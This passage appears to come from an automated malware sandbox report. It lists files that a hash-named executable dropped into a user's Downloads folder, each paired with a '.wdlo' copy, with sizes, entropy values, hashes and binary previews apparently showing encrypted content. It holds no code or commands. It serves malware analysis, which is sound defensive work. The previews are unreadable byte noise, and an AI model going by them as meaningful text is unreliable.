Preview:	GAOBC1[..X.....VH.G.`.lY..b.<\|.y......rY.f.h......-..b1........P...c......B......Um6B+[.s..D.r..#g.>..r'.a.{.....UEqM...\#..lO.d.s...=..Y@Am.^u..z.....@..}.Q..B:p..a6gY.,.R.~...P.P...>]..e9.[.....N...<l...#.+.......e.\...3..T..#...{....3...R..T.+.x....\-...rDq..C:...A..I_.t....t.#...'R<...q...6..B&.`..G.....em6...U.4.....&b...zNC.s....{b...4...0..........V....B<s..D?...O....Q..7bA.h.~.3........M.A.~...M.0....Eh.&$ae...rZ...CK.K....\..J..]P.Z..../m.G.r.-..uc....o.[B....e...$B)...]....D0..h..\|.8..wr..;.....a...R(........\|...."..Z.LY`22a..........q1....p.J.&.A.\.`..j5H}..nP.n..8.u..'e.....$..jo.2......e"...J,.T[D+...J..F.j.H..fi...Y..M..p..F.gR.....bk._........Gk.h..(.....>....d.f....7.${.......m....A...&.,.y...@...>.=.)...o..x.b1J[...QY....=..\|(6...D.e.....26K..8k}..}o.p......`....Y\....L...]4....Q...IV.l.\|..3..z.43..T...\.I...._..:....CP)...y.......)...d.jn...Z_s..<.x..4.CA....2..qwQ=...\.X..9 .4...:......Jj6$(W^.........c..{

C:\Users\user\Downloads\GAOBCVIQIJ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852111729463518
Encrypted:	false
SSDEEP:	24:8ZeXhLvDcUiW9VjcgI1qLFXBSD1EfJQh+2VbjpjfuIav4fwBJQaELIxod48Wok3D:/XdgkcgEqLFY12G+2b9Tzu4fv2od4To2
MD5:	E5E3514C2667928B955F10D37188B5A5
SHA1:	D1AA22D054F594BD37659A4FAC424C5756BCF1EB
SHA-256:	1BE3C3902ADCF64E3499F04AF9F2CE96F1653E2E02A650FBA8EDEA658DB17495
SHA-512:	420FA3A280A28BC6608BBE62A48AFD199C949A4C447729EBC051F7AAE98713E9E5FFB882542B3BD1A1730461BF7CE96F3B75A7ECC86CEB0F0F09A0D007CAF6E4
Malicious:	false
Preview:	GAOBC1[..X.....VH.G.`.lY..b.<\|.y......rY.f.h......-..b1........P...c......B......Um6B+[.s..D.r..#g.>..r'.a.{.....UEqM...\#..lO.d.s...=..Y@Am.^u..z.....@..}.Q..B:p..a6gY.,.R.~...P.P...>]..e9.[.....N...<l...#.+.......e.\...3..T..#...{....3...R..T.+.x....\-...rDq..C:...A..I_.t....t.#...'R<...q...6..B&.`..G.....em6...U.4.....&b...zNC.s....{b...4...0..........V....B<s..D?...O....Q..7bA.h.~.3........M.A.~...M.0....Eh.&$ae...rZ...CK.K....\..J..]P.Z..../m.G.r.-..uc....o.[B....e...$B)...]....D0..h..\|.8..wr..;.....a...R(........\|...."..Z.LY`22a..........q1....p.J.&.A.\.`..j5H}..nP.n..8.u..'e.....$..jo.2......e"...J,.T[D+...J..F.j.H..fi...Y..M..p..F.gR.....bk._........Gk.h..(.....>....d.f....7.${.......m....A...&.,.y...@...>.=.)...o..x.b1J[...QY....=..\|(6...D.e.....26K..8k}..}o.p......`....Y\....L...]4....Q...IV.l.\|..3..z.43..T...\.I...._..:....CP)...y.......)...d.jn...Z_s..<.x..4.CA....2..qwQ=...\.X..9 .4...:......Jj6$(W^.........c..{

C:\Users\user\Downloads\GAOBCVIQIJ.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851213582691568
Encrypted:	false
SSDEEP:	24:AcXyP/npgTyeuaPh6F0MG0bbZMPCB/KXbrYiR1/1GgyIr3mxhFLpOxL+GjM3yYDh:jXSE43pMRX/rNNPyTDPGjM3yYDt3nD
MD5:	FB50BA6032B71DC1075F3CB6653F19AE
SHA1:	802B924DDA82A5F79D75D7851C4478E25499AB8E
SHA-256:	2EC4F0CE65701BFA44DEBF66204222CEC4C05FCCD0DAE44241364B3F2E8C341B
SHA-512:	97A4116EF0802197668588535D9998510077A88DF2AB87785412B368F10C51A1B8A4F3370D56735E183150F27EC939B765F7BDAC72626FBAA66F2E2485B6771A
Malicious:	false
Preview:	GAOBC...p.;..`..+\....}w.$3......#........K.H.c...2....v.$.E("c.....%k_. w.S.(/.jeI...Uk..\..8.MW.d@..........]I..'@.S.....R...i........8..Qlf.f.(._r...7..{..9....a.c.\|.........A(.<.=.o..........Bi......:F.H.K.O..Y..........v.(VrA.9A..e.P..K...Y.<\4....f<...U.Pg....S.......B (.JsRDo.h.K....a^.q.%.%.j..h5h...?.].6#.J}\E....8.D..,..U3#~nM^..[>EHK.If{w....E..I.].+...Z...pe...?..sC`.E.vT)...1;...#...-..t..pk.......\|.......RI1...T^.l..".....,.>{v...b.5....eA.A..>.`...~..r..Zf.X.....#.2=.....{../_S)i.\t}.j.7.y:s..h{x.MV]..}...bV.....9.$..n'..+e..2.,......Sy..b..O...~].>Q`\.s..Y.2....X.dpIFB..3\|..Q..d5......{.F-M4rE..v.\|,R.C.....8c.^.JP.....5.bGo....Y.k......_W....U.Y..J..."..2..\.O..S...~..=.@0....S......./.S.?.q....<.%........Jg!f.2..v.I.1..-9u.".Vzi.m...j&....,..~... ...Q...CI.. ..>....O...^...S..et.2..o`....#.#.v......J.F+S...p.....CM..3P.^E..9=I.....D.'WY.Z....@,......9J...!.....~.........KU..:.(..i.....R\..fx..{......M.......PYB..C.i..shr.Y

C:\Users\user\Downloads\GAOBCVIQIJ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851213582691568
Encrypted:	false
SSDEEP:	24:AcXyP/npgTyeuaPh6F0MG0bbZMPCB/KXbrYiR1/1GgyIr3mxhFLpOxL+GjM3yYDh:jXSE43pMRX/rNNPyTDPGjM3yYDt3nD
MD5:	FB50BA6032B71DC1075F3CB6653F19AE
SHA1:	802B924DDA82A5F79D75D7851C4478E25499AB8E
SHA-256:	2EC4F0CE65701BFA44DEBF66204222CEC4C05FCCD0DAE44241364B3F2E8C341B
SHA-512:	97A4116EF0802197668588535D9998510077A88DF2AB87785412B368F10C51A1B8A4F3370D56735E183150F27EC939B765F7BDAC72626FBAA66F2E2485B6771A
Malicious:	false
Preview:	GAOBC...p.;..`..+\....}w.$3......#........K.H.c...2....v.$.E("c.....%k_. w.S.(/.jeI...Uk..\..8.MW.d@..........]I..'@.S.....R...i........8..Qlf.f.(._r...7..{..9....a.c.\|.........A(.<.=.o..........Bi......:F.H.K.O..Y..........v.(VrA.9A..e.P..K...Y.<\4....f<...U.Pg....S.......B (.JsRDo.h.K....a^.q.%.%.j..h5h...?.].6#.J}\E....8.D..,..U3#~nM^..[>EHK.If{w....E..I.].+...Z...pe...?..sC`.E.vT)...1;...#...-..t..pk.......\|.......RI1...T^.l..".....,.>{v...b.5....eA.A..>.`...~..r..Zf.X.....#.2=.....{../_S)i.\t}.j.7.y:s..h{x.MV]..}...bV.....9.$..n'..+e..2.,......Sy..b..O...~].>Q`\.s..Y.2....X.dpIFB..3\|..Q..d5......{.F-M4rE..v.\|,R.C.....8c.^.JP.....5.bGo....Y.k......_W....U.Y..J..."..2..\.O..S...~..=.@0....S......./.S.?.q....<.%........Jg!f.2..v.I.1..-9u.".Vzi.m...j&....,..~... ...Q...CI.. ..>....O...^...S..et.2..o`....#.#.v......J.F+S...p.....CM..3P.^E..9=I.....D.'WY.Z....@,......9J...!.....~.........KU..:.(..i.....R\..fx..{......M.......PYB..C.i..shr.Y

C:\Users\user\Downloads\GAOBCVIQIJ.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857928430732925
Encrypted:	false
SSDEEP:	24:FBs2+mK7IPn54PgXgWdyIPnYZpN/v4+z8mgOabp+RfZ7vBqusFdJSoDgD3zbD:FBy05CgX/YZP/7zXglYr0tSoDgD3nD
MD5:	4FA80841056AD808C4BF729913BA2F4A
SHA1:	8B51C0291EF8D4B9834FE4F58ECB2AD4204614C0
SHA-256:	BE174BDA0FA6C022FBD9A2416945FC3BD86A7734C90024A133E088B4DB43CF34
SHA-512:	9E1CC049ABC11790E44A929C481EE2155041044E2B55AFD4C0C46648B3CFEC8F4D682BEA62017130D499AC3F5DC4E3967DEB36C8D176A7ECA270DD715001E858
Malicious:	false
Preview:	GAOBC.(.Vp.4Bf.s...L..t.?D.o....!.$}.[.......{T.9;.F.......G..Cw=.v.W?..IV.R...]d.].+'..n..8dv....<.u....V..r ...r.Q3..}..H.n..fa.MPH.\|Y..u..ub\...9.".&<....E.....OuP......5F..7..Z9...G.B.l.C.....7l!W."...e..--.M...&!....H.O..=...2..w.?N`.On.%fS\|..4j./.A..L...;K.....L"G..s.9.{#+Z.Z.w...c(..d.~{.2.......a...+....j^7..Edv.......+....d.......B[.P....W...Y..`..`.........f.:..o..y.k.@.....J.L.ak..>...Q._).Sk....cN.3.V}..(=.....#..:.....=8...J.w.y..IOY......{.../...rv...5.G6..j:..B...W....k.b"..ji.o...P....qF.....v.z...,.WY.2e3.x....7...wc=.P-v$..!u...=..a...O....c...}C...k[...)...V$u. bc......l..\|........(3.t.~.&.+.6...b.\|.....:I..$RA.H..z.`'I..t... .../..;6...x..P..F..2c..[p'.~....=7...^.].Ym...m....C.:..&..!-P...f.$t'Ix...ld.v..H.I.Y:L.......}.8./Fo7fI]VX1"m...bm.'.......B.zDx:.N..../.x4.U@.7]..{.xf.i....8.vK.MX.....)..@@..h........P.....p...H.._.y\t0oY.4T.k9.....i?.....L.......*...(..!...I....CEz...k....2.A(w..'..z....]^.

C:\Users\user\Downloads\GAOBCVIQIJ.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857928430732925
Encrypted:	false
SSDEEP:	24:FBs2+mK7IPn54PgXgWdyIPnYZpN/v4+z8mgOabp+RfZ7vBqusFdJSoDgD3zbD:FBy05CgX/YZP/7zXglYr0tSoDgD3nD
MD5:	4FA80841056AD808C4BF729913BA2F4A
SHA1:	8B51C0291EF8D4B9834FE4F58ECB2AD4204614C0
SHA-256:	BE174BDA0FA6C022FBD9A2416945FC3BD86A7734C90024A133E088B4DB43CF34
SHA-512:	9E1CC049ABC11790E44A929C481EE2155041044E2B55AFD4C0C46648B3CFEC8F4D682BEA62017130D499AC3F5DC4E3967DEB36C8D176A7ECA270DD715001E858
Malicious:	false
Preview:	GAOBC.(.Vp.4Bf.s...L..t.?D.o....!.$}.[.......{T.9;.F.......G..Cw=.v.W?..IV.R...]d.].+'..n..8dv....<.u....V..r ...r.Q3..}..H.n..fa.MPH.\|Y..u..ub\...9.".&<....E.....OuP......5F..7..Z9...G.B.l.C.....7l!W."...e..--.M...&!....H.O..=...2..w.?N`.On.%fS\|..4j./.A..L...;K.....L"G..s.9.{#+Z.Z.w...c(..d.~{.2.......a...+....j^7..Edv.......+....d.......B[.P....W...Y..`..`.........f.:..o..y.k.@.....J.L.ak..>...Q._).Sk....cN.3.V}..(=.....#..:.....=8...J.w.y..IOY......{.../...rv...5.G6..j:..B...W....k.b"..ji.o...P....qF.....v.z...,.WY.2e3.x....7...wc=.P-v$..!u...=..a...O....c...}C...k[...)...V$u. bc......l..\|........(3.t.~.&.+.6...b.\|.....:I..$RA.H..z.`'I..t... .../..;6...x..P..F..2c..[p'.~....=7...^.].Ym...m....C.:..&..!-P...f.$t'Ix...ld.v..H.I.Y:L.......}.8./Fo7fI]VX1"m...bm.'.......B.zDx:.N..../.x4.U@.7]..{.xf.i....8.vK.MX.....)..@@..h........P.....p...H.._.y\t0oY.4T.k9.....i?.....L.......*...(..!...I....CEz...k....2.A(w..'..z....]^.

C:\Users\user\Downloads\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851228006037191
Encrypted:	false
SSDEEP:	24:lBlRElAC7dYOtLN2oArCXJCwftCNpRZgt9B7Xw/8kFNMxMUHgyiv8Y3zbD:fUlAC7dNh52C5CnpfgR08kVeRi0Y3nD
MD5:	BCCE1BAE9193B3EE267F80F7A51E3A05
SHA1:	79644430585454D156277595D1CAD18A725E9033
SHA-256:	20FBD8384CE7BE87271E083F59F4994CEB71B6EE2531142ACC03C43B8A15C220
SHA-512:	D90CE5294DED886C00C53B496F1E83D23C113BD6755A245CC59FED0545E282BDDD25574D556A0310ABC82BABD28DBE9E1D6BD2FEC1FBB44277CA3FC8193D1D92
Malicious:	false
Preview:	IPKGE....%.m/.....K...K.....T0.t.y........x..4.-TJ.+..s)]g..L.I..P.X....G6..8<Q.iA.>......Lr.[.......?.m...z..o0Y..e....T-=...........Q.6;jm;b<....LD;L%....ll.Y...QA.....?.2.t#V^.d...N..].u.-.@..._....84..T.T>...G.R:.D=.lvH...G_..X.d.B..Q..5..x..O0.......'..w....We..&.#nj.o.v}....[....H.&..L......:..Q....i..Fy.K......5..\|l....c.?.._.=t0\|.&x.....s.mMf..}...7....m$k.+.T../..3@..r.$2}....X\|w'........._.....[.Y{......C...=.r.Z.. 4.+..nb........):.`3WH...GB..F...Q.+.D.$..J.S.....Q7^&!.\|.6...G....rK../a.,Ul.`7.D.s..^..X.N+..i..1.\\|......z...#.x=.}.$./..Gu...`..w.8NF.oi.....In..........M.(!.......L.....S.J.+a....2.....+..I..5mk..'.!.1....D=.\|..B'..iO.4.}~..I.9.....j.!.......[.~..Q[.p..C...a...n...D....UE.?....#.,.aK.B..M..X..k.,.g.....l"..F&2.!...6......G.3p...o...=;.....-w....V..2.:...:....QQ1...&.J.....9.....H..J...M..@.H...\W.c..n.^,.x...@..&*..ZW_.u..s.QS..d<...qs.I.t..z$l.3.Hi..`F[g....u!.!Lx..w..E.3.l..w5o..m\|...B.p......oc.9T...#.[H.K.[`.F>..

C:\Users\user\Downloads\IPKGELNTQY.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851228006037191
Encrypted:	false
SSDEEP:	24:lBlRElAC7dYOtLN2oArCXJCwftCNpRZgt9B7Xw/8kFNMxMUHgyiv8Y3zbD:fUlAC7dNh52C5CnpfgR08kVeRi0Y3nD
MD5:	BCCE1BAE9193B3EE267F80F7A51E3A05
SHA1:	79644430585454D156277595D1CAD18A725E9033
SHA-256:	20FBD8384CE7BE87271E083F59F4994CEB71B6EE2531142ACC03C43B8A15C220
SHA-512:	D90CE5294DED886C00C53B496F1E83D23C113BD6755A245CC59FED0545E282BDDD25574D556A0310ABC82BABD28DBE9E1D6BD2FEC1FBB44277CA3FC8193D1D92
Malicious:	false
Preview:	IPKGE....%.m/.....K...K.....T0.t.y........x..4.-TJ.+..s)]g..L.I..P.X....G6..8<Q.iA.>......Lr.[.......?.m...z..o0Y..e....T-=...........Q.6;jm;b<....LD;L%....ll.Y...QA.....?.2.t#V^.d...N..].u.-.@..._....84..T.T>...G.R:.D=.lvH...G_..X.d.B..Q..5..x..O0.......'..w....We..&.#nj.o.v}....[....H.&..L......:..Q....i..Fy.K......5..\|l....c.?.._.=t0\|.&x.....s.mMf..}...7....m$k.+.T../..3@..r.$2}....X\|w'........._.....[.Y{......C...=.r.Z.. 4.+..nb........):.`3WH...GB..F...Q.+.D.$..J.S.....Q7^&!.\|.6...G....rK../a.,Ul.`7.D.s..^..X.N+..i..1.\\|......z...#.x=.}.$./..Gu...`..w.8NF.oi.....In..........M.(!.......L.....S.J.+a....2.....+..I..5mk..'.!.1....D=.\|..B'..iO.4.}~..I.9.....j.!.......[.~..Q[.p..C...a...n...D....UE.?....#.,.aK.B..M..X..k.,.g.....l"..F&2.!...6......G.3p...o...=;.....-w....V..2.:...:....QQ1...&.J.....9.....H..J...M..@.H...\W.c..n.^,.x...@..&*..ZW_.u..s.QS..d<...qs.I.t..z$l.3.Hi..`F[g....u!.!Lx..w..E.3.l..w5o..m\|...B.p......oc.9T...#.[H.K.[`.F>..

C:\Users\user\Downloads\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868968753497613
Encrypted:	false
SSDEEP:	24:LSy6Qt+sLgdv+MQwwX6OJdV793/EAuTYJNsoEDwIOYSOORZjj/3zbD:LSy6Qt+skp+6GxDCYVICn/3nD
MD5:	EA16D02EE85BFA7672EAD070E0CD7A8B
SHA1:	4AC2607A2EB6DE0B534D5AD4311943CB333D766C
SHA-256:	BA04B4674C2A8355EFAC855D7B30A59833ED3FE175B5D293E336B56D4CE6EDBC
SHA-512:	6C812989485A96E9FCE9EDA37C9500D43A6CBB57C6B3CBE6F30489CF8F7FF1B0AD0FF342C44B0E2AD07EB2BB5122F5A6DE4512AC3D874B84073DB767F59396BA
Malicious:	false
Preview:	IPKGEG....(....B'..z.....Q\.,oV..1.&.c.!h....ta..r....S..l.+..=:......`._".///......f2...B=,.wI.....v....".....=.`.qx......L,>....9...q.......W..I.`..#'>K^pgF..G@..Y>.........XR......@..n..^.}.....X...@.h........O...P..^cr.....\|..Z...2w....G.V.U5..M..$.cl...G../.H>D..T.r....t........7......g.J...7.e.....F......!...%N%....Tg:>P....nm..y.xY!.........:t..Q..-.Y.#&.....n...d\|TF...4I.YA.N..Q..Y.b.p.?.$.j..6.7...N..j....]...r.....R]rN...r..u 0......,t...r.WF.'/C......6..!5.Y....-.._U.....A..q\|n.X..;. r.9....M.....v.......k..5?+.....S......_>....Un..2......]..<..oC....wn.Q.Q......8..W...CIfS...nw%b.Q.".......c.e...2.\....OPS..(q....C...H.H.b.......0.....!..p..O..E..!s.5'.OOC.g..-..&'.......S&.G.....3.z...oU.......R...-.y(......O9.U.5...5L1....;h.K......-D.......L.y...g..<...j.f...0h.seI..9..8.B.(..'....D...oFp....,..p..y.....{.;.........._....,..$......I...$.[....<.0.[.=o.I3p.h...K..>...Z.E#......n.-.8..........Y....i....2....o.p.

C:\Users\user\Downloads\IPKGELNTQY.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868968753497613
Encrypted:	false
SSDEEP:	24:LSy6Qt+sLgdv+MQwwX6OJdV793/EAuTYJNsoEDwIOYSOORZjj/3zbD:LSy6Qt+skp+6GxDCYVICn/3nD
MD5:	EA16D02EE85BFA7672EAD070E0CD7A8B
SHA1:	4AC2607A2EB6DE0B534D5AD4311943CB333D766C
SHA-256:	BA04B4674C2A8355EFAC855D7B30A59833ED3FE175B5D293E336B56D4CE6EDBC
SHA-512:	6C812989485A96E9FCE9EDA37C9500D43A6CBB57C6B3CBE6F30489CF8F7FF1B0AD0FF342C44B0E2AD07EB2BB5122F5A6DE4512AC3D874B84073DB767F59396BA
Malicious:	false
Preview:	IPKGEG....(....B'..z.....Q\.,oV..1.&.c.!h....ta..r....S..l.+..=:......`._".///......f2...B=,.wI.....v....".....=.`.qx......L,>....9...q.......W..I.`..#'>K^pgF..G@..Y>.........XR......@..n..^.}.....X...@.h........O...P..^cr.....\|..Z...2w....G.V.U5..M..$.cl...G../.H>D..T.r....t........7......g.J...7.e.....F......!...%N%....Tg:>P....nm..y.xY!.........:t..Q..-.Y.#&.....n...d\|TF...4I.YA.N..Q..Y.b.p.?.$.j..6.7...N..j....]...r.....R]rN...r..u 0......,t...r.WF.'/C......6..!5.Y....-.._U.....A..q\|n.X..;. r.9....M.....v.......k..5?+.....S......_>....Un..2......]..<..oC....wn.Q.Q......8..W...CIfS...nw%b.Q.".......c.e...2.\....OPS..(q....C...H.H.b.......0.....!..p..O..E..!s.5'.OOC.g..-..&'.......S&.G.....3.z...oU.......R...-.y(......O9.U.5...5L1....;h.K......-D.......L.y...g..<...j.f...0h.seI..9..8.B.(..'....D...oFp....,..p..y.....{.;.........._....,..$......I...$.[....<.0.[.=o.I3p.h...K..>...Z.E#......n.-.8..........Y....i....2....o.p.

C:\Users\user\Downloads\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871040257035566
Encrypted:	false
SSDEEP:	24:KT8B4Iulb8dE5AAs0oVoRMQZaBKBkfKAPKnoRtNu2L4NonRS+3zbD:K84IwbNAhcH+KKfKvYTL4W53nD
MD5:	08ED4462B5F1F2CDA3E5BCEA166D31FC
SHA1:	CE6E1B4BFE2ED21CD52D2D1E4348B89225B5A1F4
SHA-256:	7EDB29C4F15E59B7BC77C928FCA3A4C5E88F9EC5D43F60CE906F932ADC75CBC2
SHA-512:	9F8F35E320AE986AE2A8693CA07D65A4CF4063B009705300CAB9FE932ED5B61C6D5227C06255341A7CB0F47B3C19775C30568740911DFF5D5D94EBAE7ABC6A2C
Malicious:	false
Preview:	LSBIH.....-.]R.h/.(.e..F.<........k..`.M..kE.2}u.....4.EZg.,N o.6.o.:.....i.cW.wa..Bf.]....b.+H=.o.H..6.s.Y..P..+.....8.....O.$.^.I...........D..l........6......L..k..{r.6x.a7JV....,...W.$7..`....1qq......s....9.........1.w..?._.....x.IA....e?.....S@......!..Fn+.X.@..i...I.( ........R.G..CO/_.Y.....U.Y.P...2.}....v#..Z.....#^.D..}.uiM.dV.k$.X....>..../..hJ.'c.. (n......~.a$M.f...6.R.T.n=...E...6..!......2...cG..~Q...^..R..h.Wv.T.T.'.D..Nz..A..f0.!...B.c.hLx9c,a..H....w..:...d.JRJ...0.....6o1....D.....d...?\..Z.)V.,n..pyo0.Tw@.P..S.D.....i..S..?........O..H).a..^?.Gx.e.9i.[N.Z},..:..3kX.......;>R...X&?.-c~{8V$....t.....=..W_.S..'%E...U..k.6\...A..... .=>s3l......vK.2.........bd..a..K...IwW....o....b.lG..@%..Q+KB.....L.=#....v......a).9.\...a.w;6.'...A... DN..d.....t.../_..%.....M4....j.....8..h.3......Q..S.C=....t.....+y......u........i....H.g...To.T\|./....&i.q......E.%.[..)'~....r...../\..z.L.....Q..2....KO.X..I.....

C:\Users\user\Downloads\LSBIHQFDVT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871040257035566
Encrypted:	false
SSDEEP:	24:KT8B4Iulb8dE5AAs0oVoRMQZaBKBkfKAPKnoRtNu2L4NonRS+3zbD:K84IwbNAhcH+KKfKvYTL4W53nD
MD5:	08ED4462B5F1F2CDA3E5BCEA166D31FC
SHA1:	CE6E1B4BFE2ED21CD52D2D1E4348B89225B5A1F4
SHA-256:	7EDB29C4F15E59B7BC77C928FCA3A4C5E88F9EC5D43F60CE906F932ADC75CBC2
SHA-512:	9F8F35E320AE986AE2A8693CA07D65A4CF4063B009705300CAB9FE932ED5B61C6D5227C06255341A7CB0F47B3C19775C30568740911DFF5D5D94EBAE7ABC6A2C
Malicious:	false
Preview:	LSBIH.....-.]R.h/.(.e..F.<........k..`.M..kE.2}u.....4.EZg.,N o.6.o.:.....i.cW.wa..Bf.]....b.+H=.o.H..6.s.Y..P..+.....8.....O.$.^.I...........D..l........6......L..k..{r.6x.a7JV....,...W.$7..`....1qq......s....9.........1.w..?._.....x.IA....e?.....S@......!..Fn+.X.@..i...I.( ........R.G..CO/_.Y.....U.Y.P...2.}....v#..Z.....#^.D..}.uiM.dV.k$.X....>..../..hJ.'c.. (n......~.a$M.f...6.R.T.n=...E...6..!......2...cG..~Q...^..R..h.Wv.T.T.'.D..Nz..A..f0.!...B.c.hLx9c,a..H....w..:...d.JRJ...0.....6o1....D.....d...?\..Z.)V.,n..pyo0.Tw@.P..S.D.....i..S..?........O..H).a..^?.Gx.e.9i.[N.Z},..:..3kX.......;>R...X&?.-c~{8V$....t.....=..W_.S..'%E...U..k.6\...A..... .=>s3l......vK.2.........bd..a..K...IwW....o....b.lG..@%..Q+KB.....L.=#....v......a).9.\...a.w;6.'...A... DN..d.....t.../_..%.....M4....j.....8..h.3......Q..S.C=....t.....+y......u........i....H.g...To.T\|./....&i.q......E.%.[..)'~....r...../\..z.L.....Q..2....KO.X..I.....

C:\Users\user\Downloads\LSBIHQFDVT.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868600522596697
Encrypted:	false
SSDEEP:	24:K6UOUkRTzHIftza6LlEtziXahgmSuuaZMfsp66NmttVzS4FrC4QCFzwXZY9aT+/T:K6U0d0ftza6ZEEoPSuuSM0pvGtVzTG4P
MD5:	1AAB8F98CD0BA86A8741E858726B9D4D
SHA1:	C65E1682AF788BC2DDEDE7177681B0AFADC39B37
SHA-256:	4E19C1766489E38923CBCF0D4CF4A6CF350B94283E05F269B5848767D50EC5C4
SHA-512:	898506F9782600EA3B5F17B38EB85928EE005EC8C545ADA56764C8696BD1257900213985BB8A9D05D85EB5D726CCB9FFCCAF15871A55438529477E19A4128929
Malicious:	false
Preview:	LSBIH...a....xpM..........r.l%Z.u`j..S.8!p...?.=h..I...'.3..bG.]eVv.p+y..hf..q..f.D....g.e....J...}f...l..TE.N..Q.C...q?....m.d..\..\m.H.t(......2[a...,.Y5.......f...&C.kU[R"..>..(........./g.j ........c.U..V....6.#..E......-.........?<.p.5..~.....4x.=.....s.....o;.J9..6/.4?...Z..n...v=.&p..lh.....R^B.!.X..>..../P...yR......$v..T......t.aG... .l?.l.)....b.#=}.U...[F....Z5*.~.....@v/.....5l...........jz>V..}\&"+.rD/B...o....nc..Wg.l..O..7....88B...[...E..lQa..lW.....K......I.F.v816.W.#.....:L91O\|rE...A%fGW.p6B"#.LY....W.6...>..\>.E...D.7.z?w..r"Q&. G..A....p.....j...u)H.\..#1....+.^#...9.....:.!.=......m&...]...A.ZM....z;.M.K....^4=b._..?1I..k.Lb>.G..\|@=.B..X.ZI..r.:g....:.zQ.`.M.T.`j.H....M./...Cbm..._.;.r.J.........\|.R....NSc.B...C.b.9f.f%.a/..aqw..u..2.[]j4.-.q)m..2.6nOK.....{.....a..}.Y93u.L=...m\l.9.....(.."Y..>s...V.p..N...v..P].......T.,.r..gEy.......s?..OHQ.....%rIG.V.H~>..E5{&dN.lQ.0.....o.4 #q../.l+.Q.=...Q.d...]&..1B..

C:\Users\user\Downloads\LSBIHQFDVT.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868600522596697
Encrypted:	false
SSDEEP:	24:K6UOUkRTzHIftza6LlEtziXahgmSuuaZMfsp66NmttVzS4FrC4QCFzwXZY9aT+/T:K6U0d0ftza6ZEEoPSuuSM0pvGtVzTG4P
MD5:	1AAB8F98CD0BA86A8741E858726B9D4D
SHA1:	C65E1682AF788BC2DDEDE7177681B0AFADC39B37
SHA-256:	4E19C1766489E38923CBCF0D4CF4A6CF350B94283E05F269B5848767D50EC5C4
SHA-512:	898506F9782600EA3B5F17B38EB85928EE005EC8C545ADA56764C8696BD1257900213985BB8A9D05D85EB5D726CCB9FFCCAF15871A55438529477E19A4128929
Malicious:	false
Preview:	LSBIH...a....xpM..........r.l%Z.u`j..S.8!p...?.=h..I...'.3..bG.]eVv.p+y..hf..q..f.D....g.e....J...}f...l..TE.N..Q.C...q?....m.d..\..\m.H.t(......2[a...,.Y5.......f...&C.kU[R"..>..(........./g.j ........c.U..V....6.#..E......-.........?<.p.5..~.....4x.=.....s.....o;.J9..6/.4?...Z..n...v=.&p..lh.....R^B.!.X..>..../P...yR......$v..T......t.aG... .l?.l.)....b.#=}.U...[F....Z5*.~.....@v/.....5l...........jz>V..}\&"+.rD/B...o....nc..Wg.l..O..7....88B...[...E..lQa..lW.....K......I.F.v816.W.#.....:L91O\|rE...A%fGW.p6B"#.LY....W.6...>..\>.E...D.7.z?w..r"Q&. G..A....p.....j...u)H.\..#1....+.^#...9.....:.!.=......m&...]...A.ZM....z;.M.K....^4=b._..?1I..k.Lb>.G..\|@=.B..X.ZI..r.:g....:.zQ.`.M.T.`j.H....M./...Cbm..._.;.r.J.........\|.R....NSc.B...C.b.9f.f%.a/..aqw..u..2.[]j4.-.q)m..2.6nOK.....{.....a..}.Y93u.L=...m\l.9.....(.."Y..>s...V.p..N...v..P].......T.,.r..gEy.......s?..OHQ.....%rIG.V.H~>..E5{&dN.lQ.0.....o.4 #q../.l+.Q.=...Q.d...]&..1B..

C:\Users\user\Downloads\LSBIHQFDVT.xlsx

Download File

